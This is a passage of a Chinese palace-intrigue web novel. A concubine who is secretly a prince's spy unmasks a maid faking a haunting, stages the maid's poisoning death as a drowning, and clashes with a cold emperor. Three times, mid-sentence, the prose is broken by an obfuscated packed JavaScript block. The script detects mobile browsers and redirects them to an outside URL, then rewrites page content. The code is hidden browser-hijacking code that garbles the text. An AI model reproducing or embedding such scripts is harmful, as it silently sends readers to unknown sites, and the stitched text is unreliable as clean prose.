《萤萤原上草》 1. 闹鬼宫室 成宣三年,七月二十七,夜。 黑云遮月,吞噬掉白日一切燥热。阴风阵阵,穿梭于宫墙间的狭窄巷道,尽如恶灵低语,让人不寒而栗。 “才人,奴婢还是害怕……要不咱们回去吧。” 流萤拍掉紧攥自己衣袖的颤抖小手,不回头叮嘱道,“怕就搓手串。你且在此等着,看我把魍魉逼出来,永绝后患!” 说罢,便低身钻进嵌开小缝的红漆木门,只留宫婢宝珠直勾勾盯着手上、今早才在流萤指导下勉强做好的无患子手串,瘪嘴祈祷真的有用。 这里是整个皇宫最北处的凄冷宫室,名唤银汉宫。 本是取了星汉灿烂、美好永恒之意,但自先帝宠妃在此消陨后,古怪骇人的事儿就频生不断,宫人们也因此偷偷给起了新名字,叫做阴寒宫。 早已荒废数年,不想今年却被皇帝钦点,分给了一新晋秀女做寝宫。没错,那个出师不利的秀女正是流萤。 好在流萤素不信鬼邪,从前她连乱坟岗都敢去得,一个谣言堆砌起来的鬼屋更是不足为据。遂在静心观察数日后,成功验证了她的猜想,所谓闹鬼、尽是人为。 “大胆贱婢!凭你何等出身,也敢顶冒本宫魂魄唬人?今日就收你到地府,永世做本宫的鬼婢!” 酣睡中惊醒,宫婢彩秀一个翻身滚落掉地。以为是宝珠那小蹄子又来扰她好梦,呲牙起身,势要还她点颜色瞧瞧。不料这一回头,竟把自己吓个半死,眼前站着的赫然是一白衣散发、七窍流血的狰狞女人!不,是女鬼! 彩秀顿时惊惧无比,根本不敢再直视那张鲜血横飞的脸,只得缩回脖子、不住地去压胸口快要蹦出来的心跳,脑子里全是方才恍惚听到的什么本宫?难道是…… 流萤却不给她反应的机会,裙摆卷起凉风快步逼近,直灌入彩秀歪斜的领口,激得她一整个伏倒在地。胡乱抓着流萤的绣鞋颤声求饶,“柔妃娘娘恕罪!奴婢再也不敢了!” 见彩秀认罪之快果真不出自己所料,流萤暗勾唇角,悄然用力将手中石子径直弹向了门框。 门外宝珠终于等来信号,旋即从底角使劲儿推开房门。嘭一声巨响,恰似给亡灵的震怒更添一分逼真,吓得彩秀只能抱头哀嚎,“求娘娘饶命!奴婢只是不想有人玷污了您的寝宫,才使些小把戏赶走他们,奴婢是一心为您啊!” 死到临头还嘴硬。真是鬼扮得久了,就只会说些鬼话了。 “本宫看你装神弄鬼,纯纯私心作祟!整日好吃懒做,不就是盼银汉宫没人,便也能把自己当主子了吗?”流萤从鼻子里冷哼出鄙夷,拍拍手示意外头宝珠赶快进来,懒得听她再做狡辩。 得了令的宝珠贴门蹭进来,看见摇头打抖的彩秀果然是一副被切中要害的呆滞模样,方确信主子说的错不了半分,心头那股萦久不散的恐惧也随之渐渐褪去。“难怪从不见你使钱调走,敢情是舍不得在这儿一方当霸王。还诓我宫里这儿不能动、那儿不能去的,原来都是你吓我!” 听宝珠噼里啪啦数落一通,蜷在地上的彩秀也终是回过味儿来。 就说柔妃死那么惨,哪儿还有什么完整魂魄可显形。暗骂自己一句蠢,再想到这俩人竟故意以同样方式下套,就为了看她“自食恶果”的笑话,起伏胸膛里瞬间冲上股熊熊怒火在猛烈燃烧。 遂恶狠狠抬头对上流萤,全然忘记了自己奴才的身份,“你敢算计我?”自占据了银汉宫后,她还从未受过这等气。 “没有规矩!你怎敢直呼主子!” “有何不敢?一个被分来废宫的人,还能有什么出头之……”日字还未说完,一记火辣响亮的耳光就掴在了彩秀脸上。 流萤冷冷睨着她,寒潭眼底虽看不见多少被激起的怒意,但却有着冰川般难融的讥讽和不屑。“我有何种造化确实不是你能看到的,因为我现在就要让你看不到明日的太阳。” 宫规虽说妃位以下不可随意处置宫奴,但每每有意外身亡的奴才,任谁也都猜得到是何缘由。 难道她还想要杀了我? 不,她就是要杀了我! 看着越逼越近、一伸手就能抓到自己的流萤,彩秀下意识往后退去。直至撞上冰凉又熟悉的柜子,才艰难咽下口水,强撑着想要赌最后一把。 “劝你识相点!我既敢这么做,必定有人庇佑。倘若你得罪了她,我敢保证你迟早要变成这银汉宫里真正的鬼!” 彩秀深知今日之事若走漏风声,她定难逃一死。所以只能赌初出茅庐的流萤只有傻冲劲,一旦扯上宫中贵人,也要束手无策。 可她不知道,流萤本就不是什么遵礼守教的闺阁小姐,而是从吃人深渊里一步步爬出的亡命之徒。怎可能没有真魄力。 遂径直上手,掰开彩秀的嘴就要往里塞东西。 然求生的欲望总是不容小觑,早已浑身打颤的彩秀居然在最后关头抵死挣脱开了,还顺势撞到宝珠,一路踉跄飞逃出了寝殿。 宝珠骨碌爬起要追,被流萤低声拦住,“随她去吧,跑不远的。”并大方摊开手掌,给她看手上还剩一粒的乌黑药丸。 “您……您真给她喂了毒药啊?” “是泻药。” 啊?泻药?抬头看流萤已然换了神情冲自己挑眉坏笑,倒换宝珠一脸懵了。 “我没想让她死,只想让你看场戏。” 七日前,流萤顶着渭州刺史嫡女贺之遥的身份,从陇西千里迢迢而来,选秀入宫得封才人。本以为能过上更加奢靡富贵的生活,却不想尽是琼室瑶台的偌大皇宫里,竟也有这般宛如冷宫之地。 还偏偏就分给了自己。 一度让她怀疑,皇帝是不是猜到了什么。 “那您怎么就确定是她在捣鬼,而不是我或者小金子呢?”宝珠屁颠跟上脚步,惊奇又感动地追问着。她此刻也终于明白过来,流萤早已看破一切、却依旧肯费力做这个套,全是为了让他们安心。 流萤抬起手腕在宝珠眼前晃了晃,即使脸上还带着狰狞可怖的鬼妆,仍难掩眼尾眉梢都扬起的得意。 “就她不带手串。” 刚住进银汉宫的第一晚,流萤就在夜半时分被异响惊醒。明明燥热无风,可窗棂却晃得吱呀作响,甚至窗台边还有几串湿漉漉的杂乱脚印,一路蜿蜒到自己床边。 如此诡异,换做任何一个人恐怕都得失眠几夜,可她却一眼识破。 只因她天生嗅觉灵敏,闻到了地上水渍里的柚子叶味儿。那是宝珠特意从尚食局讨来的,想给她这个好不容易迎来的新主子驱驱邪旧,便用柚子叶泡水,上上下下都擦了一遍。 是以流萤当即就想通了,所谓闹鬼皆是有人刻意为之。而银汉宫里一共就三个奴才,简直不要太好抓。 “积元寺的大师曾说纯黑之物皆可辟邪,不拘于菩提一类。像无患子果实,通体圆润至黑,取意无灾无患,对业障少的人来说尤为合适。这话你听了、小金子听了,就她嗤之以鼻。” 其实手串这东西在流萤看来完全就是取个心理安慰,她虽不信,但若能借此换回两个心服的奴才,还是值当的。可宫里哪儿有什么菩提果,她便凭记忆随口编来无患子一说糊弄糊弄。 岂料宫中奴才尽是狗眼看人低,连最不值钱的无患子到了“阴寒宫”这里都成限量。 流萤不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339247|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想将此事闹大,便只好等入了夜偷溜进浣衣局,拿出自小爬树偷果子充饥的本事,直接摘了个盆满钵满。 宝珠闻言才一副恍然大悟的模样,越回忆越是点头如捣蒜,“对对,小金子不怕这些也乖乖跟着做了,彩秀却……哎呦!” 走得好好的,怎么突然摔倒了?流萤回头扶她,“踩到裙子了?” “没呀,但奴婢确实脚底一滑,像是踩到了什么小石子。” 宝珠揉着屁股四下看看,还真叫她发现了什么。 “一颗大珍珠?” 流萤接过珍珠迎着月光仔细看,表面确实有些许石砾划痕,应该是踩到这个了。可这颗珍珠未免也太大了些,就算是在王府时,她也没见过这般葡萄粒大小的品质。 难道是……柔妃的?柔妃最得先帝宠爱,给这等赏赐也不为过。 遂用袖口擦擦珠子上的浮灰,顺势塞进了自己怀里。转身借夜色藏起唇角浮动的点点笑意,直到此刻,流萤才觉得进宫这一步算是走对了。 回想当初,自己主动请缨顶替贺之遥入宫做王爷内应、助他夺回皇位,本就是想着在宫里定能过上比王府更加滋润的日子。前十年她过得太苦了,往后只想求富贵荣华。 其实银汉宫除了有闹鬼传闻,其余任何一处都挑不出丁点不好。光说躺在床上就能看到的那颗嵌在高高穹顶上晶莹剔透的夜明珠,入夜后便如皓月当空,熠熠生辉。真真配得上主殿名字“熠光殿”三个字。 流萤美美伴着夜明珠的盈辉安心入眠,却在宝珠慌乱惊惧的哭腔中醒来,“不好了主子,彩秀她……她死了!” 泻药还能吃死人? 流萤利索起身,跟着快步赶到后院莲池边,看见了模样比自己昨晚扮相还惨的彩秀。面色紫青,嘴角挂着已经凝结的黑血。 确实像被毒死的。 流萤敛神环视一圈,当机立断,“给她推到池子里,报内侍监。” 是想伪造成溺死吗?小金子得令略有迟钝,但很快照做。他只是个奴才,主子说什么就是什么。如同流萤给他起的这个新名字一样,“沉默是金”,既衬他不爱说话的性子,又能满足流萤想要招财的寓意。 可宝珠却是知道内情的,提着心凑到流萤身边,“主子,内侍监查不出她吃过什么吧?”她很喜欢这个主子,万不要被彩秀连累了才好。 “你们吃的都是尚食局送来的饭菜,能有何不妥?” 流萤答得不以为然,甚至透了几分冷意。 她望着那张青痕带瘀的脸完全没入池水中,才漠然提醒道,“无非是银汉宫素来古怪,终也让她撞上什么不该撞的,这才失足了落水。” 流萤设计拆穿彩秀,本只是给个下马威,并未真想揭露于人前。不然凭她一个小小才人,如何还能独享一宫?若是多了主位娘娘日日管教,那跟在王府又有何区别。 是以彩秀死了,她只觉得晦气。跟紧张不安什么的,统统不沾边。 磨牙默念两遍这个险些坏她好事儿的名字,不禁想起昨夜彩秀提及有人庇佑……看来还真有其人。冷哼着又叮嘱小金子一遍,“记得过会儿把她捞上来,嘴里若还有血,就多灌些水清干净。” 在这人满为患的皇宫里,死个宫女无足轻重。表面功夫都做足了,若还有人揪着不信是意外落水,那就只能是始作俑者从中捣乱了。 是以无论哪种结果,她都没什么可担心的。有些人早点冒出头来,也就早点除掉,还省得费心巴力去找。 不过流萤好像高估了他们。 内侍监来人的确很快,却根本不为收尸,而是来跟她讨要什么数字锦囊? 2. 猜数侍寝 “哎呀,都怪奴婢!”宝珠猛一拍额头,忙将宫里独特的侍寝方式说给流萤听。 “宫中娘娘虽不算多,但为着雨露均沾,皇上还是亲创了一个‘猜数侍寝’的趣味法子。” “每月二十八,由内侍监收集各宫娘娘上报的数字,挑出与皇上当月选定数字相同的,按照位份品阶依次排序,从下月初二开始,轮流安排侍寝。虽说咱们皇后娘娘年纪尚小,但太后规定,每月初一也必定要留给帝后二人培养感情。” 看宝珠越说越兴奋,领头的小太监倒也给她这个机会,只在末了跟着补充一句,“猜的数字有范畴,一到三十一,正是每月的日子。” 宝珠这才知自己漏掉了最重要的信息。入宫两年她一直待在银汉宫里,从没真正跟过哪个主子,猜数侍寝自然也是听过没见过。 流萤不动声色地转转眼睛,规则倒是听明白了,但她想不通合该日理万机的皇上,怎会有如此闲心。 “劳烦问公公一句”流萤梨涡浅露,客气塞给小太监两块银锭子。“倘若一直猜不对,可还有别的侍寝机会吗?” 小太监习以为常收好,才夹着嗓子道,“虽说每月猜中的是少数,但贺才人无须担心,皇上总归会想起各位娘娘的。” 猜中的是少数,还说雨露均沾? 怪。 再不好多问,流萤利索折返回内室,在宣纸上斟酌写好数字,塞进锦袋递给小太监。临走又亲自说了一遍彩秀的事儿,小太监听了也不多话,只叫人匆匆抬走,就像是顺手倒了泔水那样简单,还答应过两日会送新的杂扫宫女来。 宝珠见流萤目送内侍监离开的神色略显凝重,以为是对彩秀的死仍心有余悸。虽说自己心里也悬着石头,但为了让主子打起精神,她还是使劲儿堆出笑脸,悄咪咪问写了什么数字。 在昨夜终于敢将头露出被子外面睡的时候,宝珠就想好这个主子她跟定了。不仅因为这是银汉宫迎来的第一位主子,更是感激流萤还给了他们平心静气的日子。 “随便写写。” 流萤写了一个很冒险的数字,现在还不想让人知道。可若真猜对了,那便更不能让别人知道。 “帮我梳个你最拿手的发髻,咱们出去转转。” 抓了几日的鬼,她还没正经逛过这桃红柳绿的皇城宫,差点有违私心初衷。现在风波已平,合该开启舒适生活了。 宝珠连连应下,可平日做的多是杂扫活计,这梳妆功夫确实差强人意。她不敢怠慢,也不想在主子跟前丢脸,便小心翼翼拿着象牙篦,一下下按照记忆里见过的一些娘娘发髻梳理起来。 时不时看看铜镜里有没有梳歪,目光却每次都不自觉从那头乌黑秀发、滑落至流萤杏面桃腮的脸蛋儿上。尤其是挺俏鼻梁上那一颗小小的潋滟红痣,不动声色就勾走了她所有注意。 许是发现了自己在偷看,那双湿漉漉、如同经年浸润在溪涧里的玉石眸子,便透过铜镜冲她莞尔一笑,更是灵动得堪比天上星,直把宝珠看得合不拢嘴。 “主子可真美,保准皇上见了也要爱不释手。” “那你倒说说,宫里哪位娘娘最美啊?” 宝珠咕噜圈眼睛,还真说了个同样在流萤脑海里闪过的名字,“不算主子的话,应该得是凝婕妤吧。肤若凝脂,光听她这封号就知道是个美人。” 入宫前,王爷自是给她讲了许多宫中人物。比如在皇帝登基之初,太后从自己母家选来了刚满十岁的嫡出皇后,以及同为太后母家所出、从太子良娣一路走上来的贤妃,再比如得皇上独宠、唯一赐有封号的凝婕妤。 林林总总十余位,没哪个是省油的灯。 当然这些情况,大多是来自他早已安插在宫中的另一位线人之口。毕竟他被太后算计下封郡王前往陇西分地之时,皇帝才刚刚被册立为太子。 可那位已在宫里站住脚的同伴,王爷却没有道出姓名,只说那人能在关键时刻出手帮她一帮。流萤对此倒没什么不满,自己总归不是他安排进宫的第一人选,不放心也是正常的。 “但要奴婢说还是主子更美一些,笑起来天仙似的。总听宝华楼的姐妹说,她们娘娘十天半月都没个笑模样,连带着她们也整日放松不得。” 流萤佯装嗔怒,回手拍了宝珠一下屁股,示意祸从口出。 自己心里却也暗敲警钟,无论是为着王爷还是自己,要想在皇上身边占据一席之地,这位盛宠的凝婕妤必定是上位路上最难踢的绊脚石,等有合适机会自当要好好会会她。但绝不是现在。 “银汉宫里萧索太久了,该添些鲜艳花草点缀点缀。咱们顺路再去花房看看,有合眼的就搬两盆回来。” 王爷不说帮手是谁,不代表她自己找不到,依稀记得王爷曾提过那人也喜欢秋黄月桂。 但这次不算走运,花房工匠告知月桂得近八月末才有。见无法借机问出这花哪宫要的最多,只好请到时帮忙留一盆,而后便随意挑了手边的兰花抱走。 流萤其实并不喜欢花。 养花、赏花,这些都是无忧无虑的闺秀千金才能有的闲情逸致,她从来没那个机会。 在大抵相同的年纪里,流萤手里摆弄的反而是田野草药更多。这个能不能吃、那个能治什么病,这些才是她关心的。 就像娘亲给她起的这个名字,夏夜里飞舞的萤火虫,已经是她跟娘见过最美的东西。 娘亲想她能在黑暗中发亮,指引生活的希望。而她却只体会到失尽亲人后的孤寂伶仃,独自带着极易消逝的萤火,不知归途。直到那年暴雨打翅,濒死之际竟有人轻启窗扉,给予她一方避雨之隅…… 但宝珠喜欢花,尤其是粉嘟嘟、红艳艳的。不仅抱了流萤随手指的兰花,还顺带捎走一盆娇艳欲滴的凤仙花。 “主子手指纤细,指甲带点儿嫩色更好看。” 看宝珠给自己染指甲染得极认真,流萤不好拒绝。但她瞧着那根根干瘪的手指,是真的欣赏不起来,若非过去一年在王府里养回来些,她的手可要比宝珠还粗糙。 百无聊赖望向窗外,正看见小金子领着两个面露喜色的小太监往里边来,像是有什么好事儿。 “给贺才人道喜了。皇上亲示,本月独您猜对了数字,传今晚甘泉殿侍候。” 今日才八月初二,果真独她一个。 可流萤却不尽如其他人那般高兴,眉宇间甚至浮起一丝不易察觉的忧虑,直至泡在雾气缭绕的汤泉里,才消散一二。 甘泉殿是嫔妃侍寝的地方,这里每一处都是为了皇上和妃子能有更好体验而修葺的。譬如流萤此刻置身的天然汤泉,便正是“甘泉殿”名字的由来。 大理石垒壁,鹅卵石铺底,潺热泉水从泉眼里翻涌上溢,混着玫瑰花瓣的馥郁香气,一下下扑到身上,心旷神怡。若非那日她写下的数字是“三十二”,如此惬意的汤泉真能带走人所有烦恼。 流萤觉得猜数侍寝一事颇多古怪,便冒险写下一个永远不会在月份里出现的数字,试图用更不寻常的方式引起皇上的注意。 可当结果远超预期,倒叫她心里打起鼓来。 皇上若真将答案设置在规定范畴外,那便是诓人。并非为了什么雨露均沾,恰恰相反,完全就是为了不召嫔妃侍寝、才搞出来这么个法子。 可将满二十的男子正当年,没理由对这男女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339248|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之事厌倦。况且宫中尚只有一位皇子和一位公主,就算太后不是皇上的亲母后,也不会允许他在子嗣不充盈的时候胡来。 难道他……不太行? 流萤若有所思地往胸前撩着热水,偶尔抓到几朵玫瑰花瓣儿,就直接放在锁骨上揉碎了。清甜、带一点点辛辣,渗进肌肤里久留不散,提醒着她这还不是最遭的。 如果皇上写的不是“三十二”,而只是想看看究竟何人敢跟他对抗、写下他规定范围之外的数字,那流萤可就要被自己耍的小聪明害惨了。 “贺才人,该换寝衣了。” 任由宫女搀扶起身,抬眼正见不远处摆着张红木雕花长椅,上头还铺了柔软的蚕丝垫,显然是供人沐浴后休息的。流萤也不扭捏,径直走过去等待更衣,不料一旁宫女却是笑着拦住,领她去了另一头更为宽敞的侧室梳妆打扮。 换上一身杏黄色蝶穿花纹袔子裙,连同罩衫都是云锦纱的料子。轻薄透光,映着烛火更是将腰肢的纤盈和胸前的挺阔勾勒得一览无遗。 待宫女转过身整理后摆,她就亲自上手将领口收紧得贴合,让胸前两个粉团呼之欲出,更显妖娆。流萤想,既早已做好了准备,就不该吝啬自己的优势。 尤其此时正摸不准皇上召她究竟是何缘故。总归伸手不打笑脸人,就算原有不满,看见如此美人也该气消一半了。 流萤算盘打得好,但耐不住皇帝闻寻就是来兴师问罪的。 宫女送流萤到寝殿门口便自动退去,只留她抓着虚开了一半的云杉木门往里进。许是用力了些,染过凤仙花的指甲此刻更是殷红。 说不紧张是假的。 流萤微低着头小步移入,一路数着地砖上倒映变化的烛光圈,直至那双暗绣祥云的玄色靴子闯入视线,她才滞住脚步。松开齿贝,柔声道上一句,“皇上万安。” 半蹲的姿势很难保持平衡,饶是教习嬷嬷指点过技巧,快一盏茶的时间过去,流萤双腿还是止不住地颤晃起来。可那双靴子仍是驻在她面前纹丝不动,根本没有叫她起来的意思。 流萤切身感受到周遭骤降的寒冷,终于知道闻寻是真的写了“三十二”。 因为这种噬骨的寒冷里只有动怒、没有好奇。 闻寻是在惩罚她。 惩罚她识破了他的诡计。 可亲手掀开这个幌子的不是闻寻自己吗?若没有传召她,那个数字将永远只是他一个人的秘密。 “过来。” 闻寻终于在她快要跌坐到地上的最后一刻开口了。声音散漫,又低又轻,还带着某种压抑和冷冰冰的暴戾。 流萤不自觉打颤,拖着麻胀的双腿,一点点蹭到红木床下的脚凳边。以为闻寻能明白自己的暗示,准许她稍坐片刻,不料再开口却是让她重新跪下。 如果说方才的为难还只是猜测,那么现在的惩诫就可以万分确定,闻寻是真的动怒了。她突然想将领口拉回来些,想将今晚的互动就止在罚跪上。 许是暗自摇头的幅度大了,竟被闻寻抓个正着。流萤只觉得下巴倏地被寒玉般渗凉的两指捏紧挑起,迫使她对上一双墨渊深眸。 入宫许久,这还是她第一次看清闻寻的模样,眉眼精致且锋利,连同每一根黑睫都毫不遮掩其中的阴鸷与桀骜。带着上位者的审视,只一眼,流萤便从那凛冽眸光中看见了惊异无措的自己。 下意识撇开目光,却再一次被扳正回来,逼迫与闻寻对视。 只见那浓密眉峰微蹙下压,像数道寒九天里瓦檐下凝结的冰柱,流萤站在下面一动不敢动,生怕头顶冰柱砸下,顷刻就能要了自己的命。 “真以为自己聪明?” 3. 松香毒衣 闻寻向来对虚伪做作的女人嫌恶无比。 猜数侍寝,为的就是少碰她们。他可以肆意而为,但绝不容忍别人瞎写挑衅他。 就像此刻,明明跪在自己面前,却仍神游他想,“是谁给你的胆子抗拒朕。”闻寻狠戾捏着流萤的下巴,往自己身前又拽了一步。 流萤这次是彻底失算了吗? 从闻寻看自己的神情里,她没有探到丁点儿怜香惜玉,有的只是鄙夷嫌弃、厌恶至极。这种眼神让流萤不解。 但她并未跟着否定自己,而是渐渐恢复清明,升起了反击的心思。 “嫔妾不敢。” 若不想被人当软柿子捏,第一次见面就要打下根基。这是流萤在苦难之地辗转多年摸索出来的道理。 碍着身份她得敬闻寻,但依着内心她可不怕闻寻。自也不可叫他小瞧了去,否则对她下手的惩治极可能更加肆无忌惮。 而此时此刻,流萤手边唯一能拿起反击的便只有美貌。 她不信闻寻真能对自己的艳丽姿容视若无物,回话间,故意佯装害怕半抚胸口吸了吸气,让那两团半遮半露的粉嫩浮颤起来。 每动一下,就有一缕清冽而存在感极强的玫瑰幽香,从胸前深深的沟壑里飘溢出来。二人不过一拳相隔的距离,她能嗅到,闻寻自然也能嗅到。 默数三下之后,流萤尝试重新与闻寻对视。她是不服输的性子,一贯最爱挑战。 只是闻寻竟又先她一步。就在抬眸的瞬间,紧捏下巴的那只手居然狠狠将她甩开了。 “跪到那边去!” 流萤猝不及防跌坐到坚硬的大理石地上,身下冰冷与胸中火光碰撞,彻底将她的斗志彻底激昂起来。才将稳住身子,就如同严冬冒头的梗脖小草般看向闻寻,想辩一辩自己何错之有。 不料闻寻留给她的只有一个一闪而过的漆黑背影,他竟然吹熄了琉璃灯盏、独自睡觉去了。 那她呢? 就这么一直跪到天明?! 心中隐忍未发的怒意和不甘在这一刻倾泻而出,可流萤却没有任何办法,只因在这诺大皇宫里,闻寻就是规矩的一切。她总不能将皇帝从床上拉起来再斗,那可真是活到头了。 权力真好,她也必须要争到。 流萤怨念着不就是跪一夜吗?在积元寺时,这只是家常便饭。遂狠狠舒了一口气,将背脊挺得笔直,掉转了朝窗的方向,不乐意再去看已经侧身背对他躺下的闻寻。 窗外月光皎皎,渗透进窗子里,仍有不渝的光辉。流萤有些想念悬于自己床头的那颗夜明珠,不禁仰头望去,试图隔空寻找一丝慰藉。 意外被窗边墙壁上挂着的一幅美人图吸引走了目光。光线很暗,只能依稀看出画上有个女人斜靠在长椅上,像在摆弄头发。 流萤回头瞄了瞄依旧背对她的闻寻,等了一会儿也没见要翻身的迹象,便蹑手蹑脚站起来,一点点朝那幅画蹭了过去。漫漫长夜,总要给自己找点事做。 离近了才发现,这并不是一幅简单的美人图,那娇媚半裸的女人身下竟还压了一个男人。二人厮磨缠绕在一长椅上,仔细看,不正是汤泉旁摆着的那张雕花长椅吗?连铺的软垫样式都大同小异。难怪宫女见她坐上去时要偷笑,原来竟是…… 流萤耳根有一瞬间微烫,但很快就转为轻蔑的一笑。 宋婆子果然说得不错,男人最是表里不一,面上越清高,无人时就越放荡。尤其是白日循规蹈矩的压抑性子,到了夜里便会化身凶猛野兽,恨不得将一切都啃噬干净。看他并非不为自己的美丽所动,反倒是害怕陷进去丢人才扭脸走了的吧。 入宫前,王爷特意找了经验老道的宋婆子教她礼仪规矩,自然也包括取悦男人的那些手段。流萤虽不屑学,但聪颖如她,什么都一点就透。 沉浸在自以为发现闻寻秘密的畅想中,殊不知床榻上假寐的闻寻早已悄然侧转过身来,将她的一举一动尽收眼底,就连她唇角还漾着的坏笑都分帧不错地刻印进了脑海里。 黑暗中,那对本就深邃阴鸷的眼眸,此刻更是染上一抹晦涩难明。 终于来了个有趣的吗? 方才用力甩开流萤的时候,他分明感受到被玫瑰茎上的硬刺狠狠扎了一手,尤其是扎在指腹上的小刺,险些就要勾进肉里。 那锐利的痛楚,莫名带起心头的悸动。甚至在收袖攥拳的那一刻,仍有残留不散的辛烈气味灵蛇般钻进了他的鼻腔。 想躲,却吸入得更彻底。直冲上头顶,驱使他蓦地站起来熄灭了灯盏,仿佛只有黑暗降临,心头那股悸动才能烟消云散。 转身想要藏到更幽暗的床上去,可内心深处,那股被人戳破心思的烦躁不安却顺着黑暗爬了出来。而且越爬越快,快到闻寻一闭上眼,脑海里就会闪出流萤最后倔强抬眼的瞬间。 他的确盼着宫里能有些新鲜玩意儿,是谁都行,但偏不能来自陇西。 一提到陇西,闻寻就会想起那个伪善假义、永远高高在上的三皇兄。从不亲自动手欺负他,却在别的兄弟对他拳脚相向之时,露出最开心、最骇人的笑脸。 是以,即便太后不提醒三皇兄近来管治陇西、与当地要员颇有动作,闻寻也会将最阴暗、最难熬的银汉宫分给流萤。 若要怪,就只怪她生错了地方。 闻寻老鹰捕猎般死死盯着流萤,看她从挂画摸索到博古架,即便看不清上面的东西是什么,也要拿到手上掂量掂量。全然将自己罚她跪的事情抛在了脑后。 心中冷焰升腾,犹如冰封千里的寒潮,越聚越高。终在流萤那忘乎所以的笑容上,聚成一股无法抑制的怒火。 “行窃者,杖三十。罚跪嫌不够,朕就成全你!” 阴沉嗓音传入耳朵,闻寻已然从床榻上利落跃起,流星逼近,贴到了她的身后。 这人不光手指寒凉如玉,身上更是冰得彻底。流萤只觉一直躲避的头顶冰柱,终于还是结结实实地砸下来了,正中她暴露在外的背脊上,动弹不得。 唯有端着宝盒的手反而收紧了几分。想说些什么解释,可嘴唇仿佛也被闻寻身上的寒气冻住,凿不开一点缝隙。 二人相差一头的高度。闻寻侧身颔首,想要嘲讽她脸上的惶恐,可率先闯入视线的,却是两个在月光下蓄势待放的莹白弧度。不停随着她的呼吸起起伏伏,自然还有那股熟悉的冷冽辛香,依旧往他鼻子里乱钻。 闻寻费力滑动喉头,抵御那股香气的同时,也顺势移走视线,直滑落至流萤手上,仿佛又找回了主场。 一把抢过来用力摔开,盒子顷刻碎成两半,颗颗葡萄粒大小的珍珠滚落一地。 流萤立刻蹲下,神色凝重去抓那些噼里啪啦弹跳的珠子,狼狈抓到几颗放手上看看,眼底才又燃起一抹惊异喜色。 “果真是来自贫夷之地,不过一盒东珠,就把你钓得像条狗。” 闻寻从鼻子里冷哼出声,语调却是轻飘得意。好似憋了整晚的郁结怨气终于在此刻得以释放,就连心头一而再升起的那股莫名心虚悸动,也彻底散去,还了个清净。 “来人!” “带她出去!” 出去? 这就完了?! 流萤诧异抬眸,不是还要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15339249|167831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杖责三十吗? 偷瞄一眼那刀刻薄唇勾起的隐隐弧度,心下似乎有所了然。旋即颔首起身,匆匆行了一礼就往外走,十分担心阴晴不定的闻寻会再次变卦。 好在直至出了甘泉殿大门,那道森冷骇人的声音都没再响起。待完全坐进软轿里,她才将一路死死攥着的手掌摊开,仔细研究那两颗趁乱偷偷带出来的珍珠。 原来那天宝珠踩到的就是东珠。 可这东西在宫里如此寻常吗?赏给柔妃那么多年了,还能剩这么多。那岂不是人人都能得到? 流萤顿时觉得手里的东珠也没那么值钱了。可再掂量两下,还是翘翘嘴角笑了。破船还有三分钉呢,待日后离了宫,有就总比没有好。 要帮王爷夺回皇位不假,可她也没傻到、等着功成后再被人家卸磨杀驴。自是要在事成前就提早离开,隐匿出宫,去过自己一直想要的潇洒富贵人生。 在流萤的处世之道里,无论多大恩情,还一次也就够了,万没有陪上自己性命的说法。 随着软轿落地,轿帘打起,流萤才刚迈出腿,就看见宝珠喜滋滋领着小金子在宫门前等候。 “热水备好了、点心也备好了,您一定饿坏了吧。” 宫里规定嫔妃在侍寝前三个时辰内不许吃东西,怕影响皇帝的观感和体验。可他们什么都没做,却也白白饿了这么久肚子。 流萤撇撇嘴,“多谢了。”说罢便大步往熠光殿里走去,许是她真的有些饿了,竟落下身后两人几步之远。 宝珠看着健步如飞的流萤很是困惑,拉住小金子便问,有没有觉得主子哪里不太对? “主子很客气。” 小金子进宫快五年,起初也伺候过两位贵人,但都没有跟他说过谢。何止贵人,连旁的奴才也没有。 “不是这个。”宝珠暗啧了一下,提醒他莫不是忘了内侍监来时的叮嘱,“贺才人初次侍寝,回来定要浑身疲累,你们提早到宫门口等着,务必仔细搀扶回去。” 是啊,主子怎么跟去时没两样呢? “许是主子身子结实,爬树可比侍寝难。” 宝珠被噎得无语,白他一眼就赶紧小跑去找流萤了。心想有些人还真是不说话的好,沉默才是金,主子起名果然一针见血。 又守流萤一夜,确实不见她有何不适,宝珠也就慢慢放心了。尤其是次日一早看到尚服局送来的一套新宫装、两匹织光绸缎、以及一整套银质玉兰点翠头面,便再没了什么忧虑。 “那群人最会拜高踩低了。昨日您才得见了皇上,今日就来送东西,一点不是当初瞧不上我们的样子呢。” “那这匹料子就赏你做身衣裳吧,穿上也去他们面前出出气。” 